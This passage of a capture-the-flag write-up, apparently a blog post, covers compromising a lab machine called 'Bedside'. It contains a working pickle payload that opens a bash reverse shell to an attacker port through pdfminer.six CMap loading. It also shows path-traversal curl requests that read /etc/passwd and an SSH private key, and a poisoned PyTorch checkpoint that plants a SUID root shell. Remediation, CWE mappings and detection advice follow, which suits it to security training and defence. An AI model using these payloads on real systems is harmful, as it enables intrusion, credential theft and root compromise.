Bedside
developer SSH key by
path traversal. Finally, a sudo-approved training script loads the newest
PyTorch checkpoint from a shared datastore — pickle again, this time as root.
- Target
- bedside.htb · hidden vhost research.bedside.htb
- Host OS
- Debian — OpenSSH 10.0p2, Apache 2.4.68
- Foothold
- pdfminer.six 20250506 unsafe CMap deserialization → container as
datawrangler - Host pivot
- Internal ESM service (TCP 3000) path traversal → developer SSH key
- Privesc
- Unsafe PyTorch checkpoint load through a NOPASSWD sudo rule
research.bedside.htb → upload a gzipped pickle plus a PDF referencing it
as a CMap → reverse shell as datawrangler in the PDF worker container → internal ESM service
on 3000 traverses out to /home/developer/.ssh/id_rsa → SSH as developer →
plant a malicious .pt checkpoint in the shared datastore → run the approved trainer under
sudo → SUID shell on a non-nosuid filesystem → root.
01Enumeration
sudo nmap -Pn -sS -p- --min-rate 2000 -T4 --reason <target> -oA scans/all-ports
echo '<target> bedside.htb' | sudo tee -a /etc/hosts
| Port | Service | Notes |
|---|---|---|
| 22 | ssh | OpenSSH 10.0p2 (Debian) |
| 80 | http | Apache 2.4.68 (Debian) — Bedside Clinic, largely static |
| 3000 | — | Filtered externally; reachable from inside later |
The main site is a dead end: content discovery finds the PHP entry point and stock Apache assets and no application workflow. The result that matters comes from virtual-host fuzzing rather than directory fuzzing:
ffuf -u http://bedside.htb/ \
-H 'Host: FUZZ.bedside.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 7189 -ac
# research [Status: 200, Size: 3152, Words: 313, Lines: 80]
echo '<target> research.bedside.htb' | sudo tee -a /etc/hosts
The research vhost is a completely separate application with its own trust boundary: an
unauthenticated upload form for medical images, DICOM, PDFs and archives, which states
that some formats are converted before AI training. That sentence is the tell — conversion means an
asynchronous backend parser, not passive storage. The response header seals it:
X-Powered-By: pdfminer.six.
02Foothold — pdfminer.six CMap pickle RCE
The backend runs pdfminer.six 20250506, which is vulnerable to unsafe deserialisation in its CMap-loading path. A PDF can name an encoding that resolves to an attacker-controlled compressed pickle; when the worker converts the document, Python deserialises that object and calls its reduction function.
Both halves are uploaded through the same unauthenticated form — the pickle, then the trigger PDF:
#!/usr/bin/env python3
import gzip, pickle
class Payload:
def __reduce__(self):
command = (
"__import__('os').system("
"\"bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'\""
") or {}"
)
return eval, (command,)
with gzip.open("bedside.pickle.gz", "wb") as output:
pickle.dump(Payload(), output)
The PDF's font object references the uploaded CMap by absolute path, URL-encoded, and without the
.pickle.gz suffix — pdfminer appends it during resolution:
/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fbedside
curl -F 'uploadFile=@bedside.pickle.gz;type=application/gzip' http://research.bedside.htb/
curl -F 'uploadFile=@trigger.pdf;type=application/pdf' http://research.bedside.htb/
rlwrap nc -lvnp 4444
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
# hostname: data-wrangler cwd: /app
03Inside the container
The worker source explains the automatic processing, and hands over the rest of the map:
UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
OUTPUT_DIR = "/datastore/staging"
TIMEOUT = 10
SLEEP_INTERVAL = 30
subprocess.run(["pdf2txt.py", pdf_path, "-o", output_file], timeout=TIMEOUT, check=True)
Two useful properties fall out. The worker rescans every 30 seconds, so a malicious PDF left in the upload
directory produces a recurring reverse shell — handy, because shells on this box die.
And /datastore is a shared volume, which becomes the privilege-escalation
bridge later. datawrangler can read the uploads but cannot rename the web-server-owned PDFs.
04Host file disclosure — the internal ESM service
Port 3000 was filtered from outside but answers on 127.0.0.1 from inside the container. It is
an ESM development server, complete with hot-module-reload endpoints. Conventional API paths 404; the
weakness is in a package-resolution route, and it needs --path-as-is so curl does not
normalise the traversal away:
curl http://127.0.0.1:3000/@hmr
curl --path-as-is -sS \
'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
The same primitive reads the private key straight off the host:
curl --path-as-is -sS \
'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1' \
> developer_id_rsa
chmod 600 developer_id_rsa
ssh -i developer_id_rsa developer@<target>
05The sudo rule
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py
The rule matches that exact command. Adding arguments — --epochs 1, anything — falls
outside it and sudo asks for a password. So the attack has to live entirely in what the script reads, not
in how it is invoked.
What it reads is the newest .pt file in /datastore/checkpoints, loaded through
MONAI's CheckpointLoader. PyTorch checkpoints are pickle-based. datawrangler can
write to the shared datastore. That is the whole privilege escalation.
06Root — a poisoned checkpoint
import os, torch
class Payload:
def __reduce__(self):
command = (
"cp /bin/bash /usr/local/bin/rootbash && "
"chown root:root /usr/local/bin/rootbash && "
"chmod 4755 /usr/local/bin/rootbash"
)
return os.system, (command,)
torch.save({"model": Payload()}, "/tmp/checkpoint_z_exploit.pt")
developer can build the file but cannot traverse into /datastore/checkpoints;
datawrangler can write there but is in the container. A one-line HTTP server bridges the two
identities:
# developer, on the host
cd /tmp && python3 -m http.server 8888 --bind 0.0.0.0
# datawrangler, in the container
curl -f http://<target>:8888/checkpoint_z_exploit.pt \
-o /datastore/checkpoints/checkpoint_z_exploit.pt
sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py
# TypeError: Expected state_dict to be dict-like, got <class 'int'>.
That traceback looks like failure and is not. os.system already ran during
deserialisation; the exception happens afterwards, when the trainer tries to use the object as a model
state. An exception after a pickle payload does not undo what the payload already did.
07The nosuid lesson
The first attempt dropped the SUID bash in /tmp. The file was root-owned, mode 4755 — and
still ran as developer. The mount options explain it:
mount | grep ' /tmp '
# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,...)
nosuid makes the kernel ignore set-user-ID bits on that filesystem entirely. Moving the payload
to /usr/local/bin — ordinary root ext4 — fixed it:
/usr/local/bin/rootbash -p -c 'whoami; id; cat /root/root.txt'
-p matters too: without it bash drops the elevated privileges in some contexts. The decisive
indicator is effective UID 0, even while the real UID stays developer.
08If this were your environment
Unsafe PDF deserialization in the conversion worker (pdfminer.six 20250506)
A crafted PDF caused the worker to deserialise an attacker-supplied pickle, giving remote command execution as the processing account.
- Upgrade pdfminer.six and prohibit dynamic CMap loading from upload paths.
- Isolate conversion in a sandbox with no network egress, a read-only root filesystem and a short-lived, unprivileged identity.
- Never deserialise untrusted data with pickle — directly or through a library that does it for you. Audit dependencies for implicit pickle use.
CWE: CWE-502 deserialization of untrusted data
Unauthenticated upload feeding an automated parser
Anyone could place arbitrary files where a background worker would parse them, and retrieve them under a
predictable /uploads/ path. The extension allow-list did nothing, because the dangerous
formats were on it.
- Require authentication on the research portal, and rate-limit submissions.
- Store uploads outside the web root with randomised names, so uploaded content is never directly addressable.
- Validate content, not extensions — an allow-list of file types is not a safety control when the listed types are the ones being parsed.
CWE: CWE-434 unrestricted upload of file with dangerous type
Internal ESM dev service allows arbitrary host file disclosure
A development server, reachable only internally, exposed a package-resolution route vulnerable to path
traversal — which read /etc/passwd and then the developer SSH private key off
the host filesystem.
- Remove the development server from the deployment, or upgrade it and disable the module-resolution route.
- Canonicalise every resolved path and assert it stays within the intended root before serving.
- Run it in a constrained namespace with no access to host secrets — home directories in particular.
- Rotate the exposed key and restrict its file permissions. "Internal only" is not a control once anything else is compromised.
CWE: CWE-22 path traversal
Root sudo rule that deserialises attacker-writable checkpoints
A NOPASSWD sudo rule ran a complex Python trainer as root, and that trainer loaded pickle-based PyTorch checkpoints from a directory a container account could write to. The privileged command never needed to be abused directly — only its input.
- Load checkpoints with
weights_only=True, or move to a non-executable format such as safetensors. - Validate provenance and ownership — never load a checkpoint writable by a less-privileged identity, and verify a signature or checksum from a trusted manifest.
- Remove the sudo rule, or replace it with a minimal, immutable, input-validating privileged helper. A full ML training script is far too much code to run as root.
- Do not share a writable volume between a container workload and a privileged host process — that volume is a trust boundary and was treated as a convenience.
CWE: CWE-502 deserialization of untrusted data · CWE-732 incorrect permission assignment
09Detection — the blue-team side
- The PDF worker spawning shells or making outbound connections — a converter should talk to nothing.
- Traversal patterns in the dev-server request log (
../sequences,raw=1&module=1), and any read of a home directory or.sshpath by a service account. - New or modified
.ptfiles in the checkpoint directory, with ownership that does not match the training pipeline. - Privileged sudo invocations followed by new SUID binaries anywhere on disk.
10Takeaways
- Virtual-host discovery can reveal an entirely separate application and trust boundary. The main site had nothing; the box was on another vhost.
- Extension allow-lists do not make complex parsing safe. The dangerous formats were the permitted ones.
- A port filtered externally can still be the best target once you are inside — and dev servers are not safe merely because they bind internally.
- An exception after deserialisation does not undo the command that already ran. Check the effect, not the traceback.
- Exact sudo command matching matters. Adding one argument moved me outside the rule.
- SUID depends on mount options.
nosuidon/tmpsilently defeats the classic payload — andbash -pis what preserves the effective UID. - Shared volumes bridge identities. A container user and a privileged host process met in
/datastore, and that meeting was root.
◆If this were my environment
The exploit depended on unsafe deserialization and a privileged process trusting a user-controlled machine-learning checkpoint. I would remove both code-execution primitives and then harden the container and host boundaries.
- Never deserialize untrusted pickle data; use a non-executable interchange format and validate the schema before processing uploads.
- Keep model files outside privileged execution paths, verify signed hashes, and make root-run jobs consume only root-owned immutable inputs.
- Run the application and conversion worker as separate unprivileged identities with read-only filesystems, dropped capabilities and tight seccomp/AppArmor or SELinux policy.
- Continuously audit sudoers, scheduled jobs, container mounts and writable paths that feed privileged processes.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.